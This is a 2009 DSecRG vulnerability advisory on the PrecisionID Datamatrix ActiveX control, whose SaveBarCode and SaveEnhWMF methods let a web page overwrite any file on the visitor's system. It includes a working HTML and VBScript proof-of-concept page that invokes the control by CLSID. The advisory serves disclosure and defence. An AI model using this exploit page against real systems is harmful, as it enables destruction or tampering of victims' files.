[DSECRG-09-030] PrecisionID Datamatrix ActiveX control - Arbitrary File overwriting
Digital Security Research Group [DSecRG] Advisory #DSECRG-09-030
!!! original advisory !!!
http://dsecrg.com/pages/vul/DSECRG-09-030.html
Application: PrecisionID activeX controls
Versions Affected:
Vendor URL: http://PrecisionID.com
Bugs: Arbitrary File overwriting
Exploits: YES
Reported: 03.03.2009
Vendor response: NONE
Secondly Reported: 17.03.2009
Vendor response: NONE
Date of Public Advisory: 31.0300.2009
Authors:
Digital Security Research Group [DSecRG]
(research [at] dsec [dot] ru)
Description
***********
PrecisionID have activeX control DMATRIXLib.Datamatrix that can be used to
overwrite any any file in target system.
Details
*******
This control contains two methods SaveBarCode() SaveEnhWMF() that can be used
to owervrite
any file on OS
Sub SaveBarCode (
ByVal path As String
)
Sub SaveEnhWMF (
ByVal path As String
)
*******
Example:
<html>
<object classid='clsid:6C951D10-B07F-11DB-A6ED-0050C2490048' id='target' />
<script language='vbscript'>
targetFile = "C:\WINDOWS\system32\PRECIS~2.DLL"
prototype = "Sub SaveBarCode ( ByVal path As String )"
memberName = "SaveBarCode"
progid = "DMATRIXLib.Datamatrix"
argCount = 1
arg1="C:\sh2kerr.pwn"
target.SaveBarCode arg1
</script>
</html>
Solution
********
http://msdn.microsoft.com/en-us/library/aa751977.aspx
About
*****
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Regards,
Digital Security Research Group [DSecRG]
________________________________________
DIGITAL SECURITY
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